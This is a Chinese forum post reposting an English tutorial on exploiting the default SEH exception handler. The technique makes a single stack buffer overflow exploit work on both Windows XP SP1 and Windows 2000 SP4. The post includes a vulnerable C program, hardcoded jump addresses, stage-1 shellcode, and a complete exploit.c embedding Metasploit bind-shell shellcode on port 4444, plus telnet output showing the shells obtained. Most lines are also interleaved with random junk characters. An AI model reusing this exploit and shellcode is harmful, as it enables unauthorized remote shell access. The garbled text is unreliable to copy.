QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2501|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well./ S8 ?5 j7 C. J3 `3 r) p5 }5 e" \# W
) L/ d: k4 }+ Z# v) ]
[Buf] <- Shellcode
  I3 ]& Y$ M8 A1 S$ L% w; K[Return Address] <- jmp register (for Windows XP sp1)
4 i; Y" D: r- x4 }7 s" r[Various Stack Data] <- Junk* d; ?5 {& w/ @2 n( i/ ~
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward
# K' x. F5 \- a- B2 U[SE Handler] <- jmp register (for Win2k sp4)
1 i5 ]+ V! S, F: @- I8 e[Stage1 Shellcode] <- stage1 shellcode for win2k
/ P7 K8 A# D$ Z
+ O. t( }7 @1 Y. SIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses
3 m  Z. q1 _, k: h7 u! U$ O4 l. E, }& s2 ]
Necessary Tools:
- U; h. W( M, X+ _  E- OllyDBG  W- N- z% {2 R' F( J: L
- C/C++ Compiler; ?; d: x9 I7 F& t  P, S2 Z  W
- nasm+ R/ a5 m  F- h8 p* h% Z4 K8 l* d
- Sac
% g" p. s2 H# q0 e9 v" @; {2 ?
2 Q6 o' J5 _9 @" A  I3 M% S- jVulnerable Code:6 B" Y- Q7 c8 Q3 `$ v
//lamebuf.c
1 w/ O7 M1 w. |$ ?1 E#include<stdio.h>) e# @0 ^7 a6 l" _- |9 I! N, E6 A
#include<string.h>
& H4 L) v+ M* y: x+ L/ \#include<windows.h>
0 w9 A0 Y( B# \& p% C7 @/ Iint main(int argc,char *argv[]){% o. G2 A+ Q1 [3 y8 e# z

, {/ h5 k3 i* ^char buf[512];, _1 d( K. g! u( S/ y. T
char buf1[1024]; // <- simulate a stack
/ y$ q9 |) I7 l7 n* G7 X+ J$ R//DebugBreak();9 H) u; V7 ^; Z1 }: n
if (argc != 2){ return -1; }
. l* K) w1 W( o5 R* C$ y* P2 O6 H" r
strcpy(buf,argv[1]);
& k. ?0 M7 W% @$ F: e. g" Creturn 0x0;7 S4 Q! b( g8 d" {! A& t* f9 X/ K
}
( _4 k4 S, g2 r  b, V" X4 j* G" N/ z$ r' X6 h6 B4 p
Getting Started:5 l9 J2 U( `0 j! K
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
: G% }( Y& }% ?* N: ^2 j3 I/ G+ f! ^& \' `  ~
EAX 00000000! l- [+ }3 L# ~5 Q4 v3 C0 @' ^2 a
ECX 003214045 y. Z# Z0 c' y
EDX 00414141
! R0 D9 U  H! `  [: G. eEBX 7FFDF000
9 `+ G" j- v  m7 U/ \! I9 lESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". O/ ]' S* l) ^) C* }
EBP 41414141
5 u$ Q) {5 N4 @2 Z1 fESI 77D4595F
2 L6 u# {9 q, j4 t* PEDI 77F59037 ntdll.77F59037
! I5 R3 e; g+ h0 U9 @: TEIP 41414141
: J( l, \, J7 g! k7 W
& Q$ _  [0 j; t7 s' o4 KLets take a look at the stack and see what happened to the default exception handler:5 Y6 D- m5 }  t+ d1 h
0x0012FFB0 41414141 Pointer to next SEH Record& z4 q/ x0 Z+ q9 q' L
0x0012FFB4 41414141 SE Handler
+ |3 P# |" I1 b- Y2 [3 J* Z" Y+ v6 S4 g! }) F# M
We successfully overwrote the return address and the default exception handler./ H# S( K0 P$ e4 g# [
2 L; P( ~% E! e* G3 }9 G8 x
Primary Return Address (Windows XP SP1 EN):+ {6 x6 p# f8 Y
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:
: p5 K/ t' B% L"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"7 ^  ]+ c5 n! D  ~- G6 L1 f
$ u2 N# d  a  G: p) ]
Secondary Return Address (Windows 2000 SP4 EN):! e, w* M( m; ~  A
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:1 }( Q% O. c" @  I6 j; l; B
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
# {( V+ D, D- i8 D6 z; V1 n7 R9 j- g
7 Y6 B4 r, d3 K5 n. ~7 }* y1 _/ pProof Of Concept:
& }1 ], H% G! J$ R& h' \// exploit.c
" d# N3 n9 u, X4 K/ O7 l* Y// Tal zeltzer - [Double Return] //
0 _# G, R; S6 J! k( j
  s8 n' i3 B6 w1 C3 y% }% E: O' U1 F#include<stdio.h>4 _0 `- A9 q. X0 H( K
#include<string.h>
' u+ E: D" w6 c4 U/ M- Q' u#include<windows.h>
# U4 {' K+ J2 d: E# Q  [) Y+ m, R  Z' [+ U; q& t, B3 R. M
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp* ]9 w% ?2 ]9 R" X3 |
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx+ ^8 U3 Q) d- [" m6 c
9 y1 [4 _8 O. R* ]4 O% G$ D; r6 O
// Stage1 For WinXP Sp1 English
3 R- [2 j# n9 C3 _unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";9 j! C* h* V7 ^5 V# f. J' s

" I9 k* c  M4 B' I9 o3 c// Stage1 For Win2k Sp4 English1 p2 Z( `; R6 d% c% Y$ Q$ j
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";' w( E3 K/ w& z$ ?

+ _9 z2 R3 M% @8 s0 T' F* ?. G  J// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
7 W4 ~- h- E! H4 j. |unsigned char shellcode[] =
6 T( O& n# K; M2 p4 G+ C- S# H"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
; U) p5 F& p5 h7 [. c2 m) b7 w% K"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
' i* d$ p" @' ~5 T6 n2 r4 u+ ?; P"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
, d1 t7 U$ T/ Y0 N+ O) p. ~  I1 ]"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
& I  g2 x2 g4 q" h"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"7 h& m+ ]$ N) V8 i  h8 h% C% x
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
5 u  q7 W6 V2 ^0 o" v# E+ u) s3 w"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"5 f2 Y* [$ e$ x5 N3 M
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
7 e6 M6 _5 Y4 e4 R, V6 i4 }"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"  `! e! @  v, B
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
2 f. O, Q& C3 X"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"' x7 Y, N1 y) G. e/ C/ M
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
0 l3 R9 E+ A. G/ c"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"6 h  l6 Z  Q6 K% K- @6 z% W
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"/ {3 M8 `- W! y" k, B& v
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"  V; O; P) D: S. H* n% a' Y, v: O
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
& j8 k+ _: e! ^0 b5 J: k; A* z"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"' _$ i; H. j$ U/ G7 A
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"; k% w/ F' f8 b, L
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8") S  {; g  u+ c" Z/ k1 D  O- w& k7 N
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"& w! {2 t/ \& |, Q1 o- p8 ]0 R8 L5 T
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
3 f1 q7 w6 u/ _"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
/ [) i" X- w1 Z$ c"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2") l2 r. @- y3 _' u
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a". P% N6 w) [1 z% G2 G
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
' H- R. U* ]7 r3 E" W4 d' a- @( b3 w, {
5 v* H$ f5 M# G9 p" z; x. V
int main(int argc,char *argv[]){
% y# l' U( |1 Y5 s% {' T3 S7 q! X3 e9 n" @" o
char *bufExe[3];. |7 Y3 j* X8 C
char buf[2048];8 g" M8 ^$ D- Q( C/ x; x5 s
bufExe[0] = "lamebuf.exe";
+ @8 K5 ?9 p& F- i- F9 EbufExe[2] = NULL;
6 P" ]/ ?/ k4 Y: l4 m6 ^% a8 G
; l- D0 t7 k. _$ ]# V6 Omemset(buf,0x0,sizeof(buf));
; H; O. ~4 N* E  Q: c* Q/ `! b5 A8 p8 k. wmemset(buf,0x90,1652);
) y5 u2 f. d2 v  u3 Wmemcpy(&buf[24],shellcode,sizeof(shellcode)-1);
6 w$ y& Y1 L$ O: k3 N  ~
6 L. {' W: [4 i* umemcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode! ^1 O& |2 l5 ~  H) I1 t- g: j
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
+ E8 d# g* k) s0 z* K- u
1 J4 Y7 Z" U4 y2 ]1 S! `*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en7 [7 R) D4 W% S0 X$ l5 M
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
6 \, ]% T9 q2 y8 G" _$ `% t*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en4 Y: w+ K7 y+ o# ?7 j

: {7 b5 e! b) w6 {; d/ W) X) ]  x1 T( c4 F/ W$ L! q& `
bufExe[1] = buf;
/ d( X" K( E& V/ R//Execute the vulnerable application
9 z6 @  U3 |+ x/ u6 w$ n2 E* aexecve(bufExe[0],bufExe,NULL);* d; k5 m& A% d+ w) V; E5 [- B

# G2 i( ^" O9 ^- Xreturn 0x0;
% ^9 N3 X' J  y4 i# ^9 E}
$ \+ |" O% ?! p9 v
2 i$ ~: V- b, w: R7 X4 x$ ?9 B# [Exploit under Windows XP SP1:1 G- ~. l) o' |! ~' R) l
C:\>exploit
  d) ~" @6 R+ ?C:\>+ @; u' z9 ^3 t, V9 P9 b! y
C:\>telnet 127.0.0.1 4444
  ?  \) y( ?; Y! a* [$ S, T$ k9 z$ x6 o
Microsoft Windows XP [Version 5.1.2600]. k- _& G# f& B- `: b
(C) Copyright 1985-2001 Microsoft Corp.: b; P/ ^  D% F
6 ?, v) D: }; k2 _5 B; a
C:\>
5 ?: O4 a" g, |3 T6 K. }
5 D/ T! r+ \" f* kExploit under Windows 2000 SP4:
% Q8 W; e% m& @4 X0 z  ~/ e$ @9 bC:\>exploit) m; M/ R( ]3 `9 t
C:\>; A6 \5 V% |$ Y; L
C:\>telnet 127.0.0.1 4444
+ r3 C+ J0 t4 S/ P
0 [' d7 F% T) |; \+ x3 ~4 vMicrosoft Windows 2000 [Version 5.00.2195]
2 u( j# q" I2 t% r, ?/ N(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

fastpost qq
收缩
  • 电话咨询

  • 04714969085

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-12-4 05:15 , Processed in 0.161659 second(s), 52 queries .

回顶部